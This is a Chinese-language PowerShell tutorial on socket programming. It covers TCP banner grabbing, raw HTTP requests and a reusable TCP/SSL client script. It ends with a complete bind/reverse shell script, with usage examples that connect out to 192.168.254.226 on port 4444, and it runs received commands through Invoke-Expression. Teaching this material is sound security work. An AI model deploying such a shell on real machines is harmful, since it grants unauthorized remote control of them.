Powershell(4)-Socket网络编程

这一小节我们介绍Powershell中的Socket编程,网络编程是所有语言中绕不开的核心点,下面我们通过对代码的分析来让大家对PS中的Socket有一个初步的了解。

Scoket-Tcp编程

开始之前我们先想想为什么要学习socket编程,那么最直观的是端口扫描,那么还有可能是反弹shell之类的应用。进行Socket编程只需要调用.Net框架即可,这里先使用TCP来示例:

这里是去打开一个TCP连接到本地的21端口,并获取21端口返回的Banner信息,其中GetOutput函数看不了可以先不看,其用来获取stream中的数据,主要看Main函数内容:

  1. Tcp-Demo.ps1
  2. function GetOutput
  3. {
  4. ## 创建一个缓冲区获取数据
  5. $buffer = new-object System.Byte[] 1024
  6. $encoding = new-object System.Text.AsciiEncoding
  7. $outputBuffer = ""
  8. $findMore = $false
  9. ## 从stream读取所有的数据,写到输出缓冲区
  10. do{
  11. start-sleep -m 1000
  12. $findmore = $false
  13. # 读取Timeout
  14. $stream.ReadTimeout = 1000
  15. do{
  16. try {
  17. $read = $stream.Read($buffer, 0, 1024)
  18. if($read -gt 0){
  19. $findmore = $true
  20. $outputBuffer += ($encoding.GetString($buffer, 0, $read))
  21. }
  22. } catch { $findMore = $false; $read = 0 }
  23. } while($read -gt 0)
  24. } while($findmore)
  25. $outputBuffer
  26. }
  27. function Main{
  28. # 定义主机和端口
  29. $remoteHost = "127.0.0.1"
  30. $port = 21
  31. # 定义连接Host与Port
  32. $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
  33. # 进行连接
  34. $stream = $socket.GetStream()
  35. # 获取Stream
  36. $writer = new-object System.IO.StreamWriter $stream
  37. # 创建IO对象
  38. $SCRIPT:output += GetOutput
  39. # 声明变量
  40. if($output){
  41. # 输出
  42. foreach($line in $output.Split("`n"))
  43. {
  44. write-host $line
  45. }
  46. $SCRIPT:output = ""
  47. }
  48. }
  49. . Main

我们来看看输出结果:

  1. PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Demo.ps1
  2. 220 Microsoft FTP Service

这样就打开了21端口的连接,并且获取到了21端口的banner信息.

那么有过端口扫描编写的朋友肯定已经看到了,这种方式是直接打开连接,并不能获取到一些需要发包才能返回banner的端口信息,典型的80端口就是如此,我们需要给80端口发送特定的信息才能得到Response, 当然还有许多类似的端口,比如3389端口, 下面我们来看看我们如何使用powershell实现这项功能.

  1. Tcp-Demo2.ps1
  2. function GetOutput
  3. {
  4. ... # 代码和上面的一样
  5. }
  6. function Main{
  7. # 定义主机和端口
  8. $remoteHost = "127.0.0.1"
  9. $port = 80
  10. # 定义连接Host与Port
  11. $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
  12. # 进行连接
  13. $stream = $socket.GetStream()
  14. # 获取Stream
  15. $writer = new-object System.IO.StreamWriter $stream
  16. # 创建IO对象
  17. $SCRIPT:output += GetOutput
  18. # 声明变量, userInput为要发包的内容,这里我们需要发送一个GET请求给Server
  19. $userInput = "GET / HTTP/1.1 `nHost: localhost `n`n"
  20. # 定义发包内容
  21. foreach($line in $userInput)
  22. {
  23. # 发送数据
  24. $writer.WriteLine($line)
  25. $writer.Flush()
  26. $SCRIPT:output += GetOutput
  27. }
  28. if($output){
  29. # 输出
  30. foreach($line in $output.Split("`n"))
  31. {
  32. write-host $line
  33. }
  34. $SCRIPT:output = ""
  35. }
  36. }
  37. . Main

我们来看看输出:

  1. PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Demo2.ps1
  2. HTTP/1.1 200 OK
  3. Content-Type: text/html
  4. Accept-Ranges: bytes
  5. ETag: "5e26ec16b73ad31:0"
  6. Server: Microsoft-IIS/7.5
  7. Content-Length: 689
  8. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  9. <html xmlns="http://www.w3.org/1999/xhtml">
  10. <head>
  11. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  12. <title>IIS7</title>
  13. <style type="text/css">
  14. </style>
  15. </head>
  16. <body>
  17. ...
  18. </body>
  19. </html>

我们下面对这项功能进行一个整合:

我们可以发包给一个端口,也可以直接连接一个端口,这里已经实现TCP,http,https三种常见协议的访问

  1. ########################################
  2. ## Tcp-Request.ps1
  3. ##
  4. ## Example1:
  5. ##
  6. ## $http = @"
  7. ## GET / HTTP/1.1
  8. ## Host:127.0.0.1
  9. ## `n`n
  10. ## "@
  11. ##
  12. ## `n 在Powershell中代表换行符
  13. ## $http | .\Tcp-Request localhost 80
  14. ##
  15. ## Example2:
  16. ## .\Tcp-Request localhost 80
  17. ########################################
  18. ## 管理参数输入param()数组
  19. param(
  20. [string] $remoteHost = "localhost",
  21. [int] $port = 80,
  22. [switch] $UseSSL,
  23. [string] $inputObject,
  24. [int] $commandDelay = 100
  25. )
  26. [string] $output = ""
  27. ## 获取用户输入模式
  28. $currentInput = $inputObject
  29. if(-not $currentInput)
  30. {
  31. $SCRIPT:currentInput = @($input)
  32. }
  33. # 脚本模式开关, 如果脚本能读取到输入, 使用发包模式, 如果没有输入使用TCP直连模式
  34. $scriptedMode = [bool] $currentInput
  35. function Main
  36. {
  37. ## 打开socket连接远程机器和端口
  38. if(-not $scriptedMode)
  39. {
  40. write-host "Connecting to $remoteHost on port $port"
  41. }
  42. ## 异常追踪
  43. trap { Write-Error "Could not connect to remote computer: $_"; exit }
  44. $socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
  45. if(-not $scriptedMode)
  46. {
  47. write-host "Connected. Press ^D(Control + D) followed by [ENTER] to exit.`n"
  48. }
  49. $stream = $socket.GetStream()
  50. ## 如果有SSl使用SSLStream获取Stream
  51. if($UseSSL)
  52. {
  53. $sslStream = New-Object System.Net.Security.SslStream $stream,$false
  54. $sslStream.AuthenticateAsClient($remoteHost)
  55. $stream = $sslStream
  56. }
  57. $writer = new-object System.IO.StreamWriter $stream
  58. while($true)
  59. {
  60. ## 获取得到的Response结果
  61. $SCRIPT:output += GetOutput
  62. ## 如果我们使用了管道输入的模式,我们发送我们的命令,再接受输出,并退出
  63. if($scriptedMode)
  64. {
  65. foreach($line in $currentInput)
  66. {
  67. $writer.WriteLine($line)
  68. $writer.Flush()
  69. Start-Sleep -m $commandDelay
  70. $SCRIPT:output += GetOutput
  71. }
  72. break
  73. }
  74. ## 如果没有使用事先管道输入的模式直接读取TCP回包
  75. else
  76. {
  77. if($output)
  78. {
  79. # 逐行输出
  80. foreach($line in $output.Split("`n"))
  81. {
  82. write-host $line
  83. }
  84. $SCRIPT:output = ""
  85. }
  86. ## 获取用户的输入,如果读取到^D就退出
  87. $command = read-host
  88. if($command -eq ([char] 4)) { break; }
  89. $writer.WriteLine($command)
  90. $writer.Flush()
  91. }
  92. }
  93. ## Close the streams
  94. $writer.Close()
  95. $stream.Close()
  96. ## 如果我们使用了管道输入的模式,这里输出刚才读取到服务器返回的数据
  97. if($scriptedMode)
  98. {
  99. $output
  100. }
  101. }
  102. ## 获取远程服务器的返回数据
  103. function GetOutput
  104. {
  105. ## 创建一个缓冲区获取数据
  106. $buffer = new-object System.Byte[] 1024
  107. $encoding = new-object System.Text.AsciiEncoding
  108. $outputBuffer = ""
  109. $findMore = $false
  110. ## 从stream读取所有的数据,写到输出缓冲区
  111. do
  112. {
  113. start-sleep -m 1000
  114. $findmore = $false
  115. $stream.ReadTimeout = 1000
  116. do
  117. {
  118. try
  119. {
  120. $read = $stream.Read($buffer, 0, 1024)
  121. if($read -gt 0)
  122. {
  123. $findmore = $true
  124. $outputBuffer += ($encoding.GetString($buffer, 0, $read))
  125. }
  126. } catch { $findMore = $false; $read = 0 }
  127. } while($read -gt 0)
  128. } while($findmore)
  129. $outputBuffer
  130. }
  131. . Main

那么至此我们已经完成了对TCP端口的打开并获取对应的信息,其中很多的关键代码释义我已经详细给出,我们主要以TCP为例,由于UDP应用场景相对于TCP较少,关于UDP的编写可自行编写。

这个脚本加以修改就是一个Powershell完成的扫描器了,端口扫描器我们放在下一节来分析,我们这里最后看一个反弹shell的ps脚本, 同样在注释中详细解释了代码块的作用。

  1. function TcpShell{
  2. <#
  3. .DESCRIPTION
  4. 一个简单的Shell连接工具, 支持正向与反向
  5. .PARAMETER IPAddress
  6. Ip地址参数
  7. .PARAMETER Port
  8. port参数
  9. .EXAMPLE
  10. 反向连接模式
  11. PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444
  12. .EXAMPLE
  13. 正向连接模式
  14. PS > TcpShell -Bind -Port 4444
  15. .EXAMPLE
  16. IPV6地址连接
  17. PS > TcpShell -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
  18. #>
  19. # 参数绑定
  20. [CmdletBinding(DefaultParameterSetName="reverse")] Param(
  21. [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
  22. [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
  23. [String]
  24. $IPAddress,
  25. [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
  26. [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
  27. [Int]
  28. $Port,
  29. [Parameter(ParameterSetName="reverse")]
  30. [Switch]
  31. $Reverse,
  32. [Parameter(ParameterSetName="bind")]
  33. [Switch]
  34. $Bind
  35. )
  36. try
  37. {
  38. # 如果检测到Reverse参数,开启反向连接模式
  39. if ($Reverse)
  40. {
  41. $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
  42. }
  43. # 使用正向的连接方式, 绑定本地端口, 用于正向连接
  44. if ($Bind)
  45. {
  46. # Tcp连接监听服务端
  47. $server = [System.Net.Sockets.TcpListener]$Port
  48. # Tcp连接开始
  49. $server.start()
  50. # Tcp开始接受连接
  51. $client = $server.AcceptTcpClient()
  52. }
  53. $stream = $client.GetStream()
  54. [byte[]]$bytes = 0..65535|%{0}
  55. # 返回给连接的用户一个简单的介绍,目前是使用什么的用户来运行powershell的, 并打印powershell的banner信息
  56. $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
  57. $stream.Write($sendbytes,0,$sendbytes.Length)
  58. # 展示一个交互式的powershell界面
  59. $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
  60. $stream.Write($sendbytes,0,$sendbytes.Length)
  61. # while循环用于死循环,不断开连接
  62. while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
  63. {
  64. # 指定EncodedText为Ascii对象, 用于我们后面的调用来编码
  65. $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
  66. # 获取用户的输入
  67. $data = $EncodedText.GetString($bytes,0, $i)
  68. try
  69. {
  70. # 调用Invoke-Expression来执行我们获取到的命令, 并打印获得的结果
  71. # Invoke-Expression会把所有的传入命令当作ps代码执行
  72. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
  73. }
  74. catch
  75. {
  76. # 错误追踪
  77. Write-Warning "Execution of command error."
  78. Write-Error $_
  79. }
  80. $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
  81. # 错误打印
  82. $x = ($error[0] | Out-String)
  83. $error.clear()
  84. $sendback2 = $sendback2 + $x
  85. # 返回结果
  86. $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
  87. $stream.Write($sendbyte,0,$sendbyte.Length)
  88. $stream.Flush()
  89. }
  90. # 关闭连接
  91. $client.Close()
  92. if ($server)
  93. {
  94. $server.Stop()
  95. }
  96. }
  97. catch
  98. {
  99. # 获取错误信息,并打印
  100. Write-Warning "Something went wrong!."
  101. Write-Error $_
  102. }
  103. }

简单的分析在注释已经提到, 其中Invoke-Expression -Command后接的代码都会被看作powershell来执行, 我们来看看正向连接的执行效果, 我们在172.16.50.196机器上执行下面的代码

  1. PS C:\Users\rootclay> cd .\Desktop\powershell
  2. PS C:\Users\rootclay\Desktop\powershell> . .\Tcp-Shell.ps1
  3. PS C:\Users\rootclay\Desktop\powershell> TcpShell -bind -port 4444

连接这台机器, 结果如下:
Powershell(4)-Socket网络编程 - 图1

反向类似执行即可

大家可以看到这个脚本的最开始有一大块注释,这些注释无疑是增强脚本可读性的关键,对于一个脚本的功能和用法都有清晰的讲解,那么我们来看看如何写这些注释呢。

  1. <#
  2. .DESCRIPTION
  3. 描述区域,主要写你脚本的一些描述、简介等
  4. .PARAMETER IPAddress
  5. 参数介绍区域,你可以描述你的脚本参数的详情
  6. .EXAMPLE
  7. 用例描述区域, 对于你的脚本的用例用法之类都可以在这里描述
  8. 反向连接模式
  9. PS > TcpShell -Reverse -IPAddress 192.168.254.226 -Port 4444
  10. #>

最后我们使用Get-Help命令就能看到我们编辑的这些注释内容:

Powershell(4)-Socket网络编程 - 图2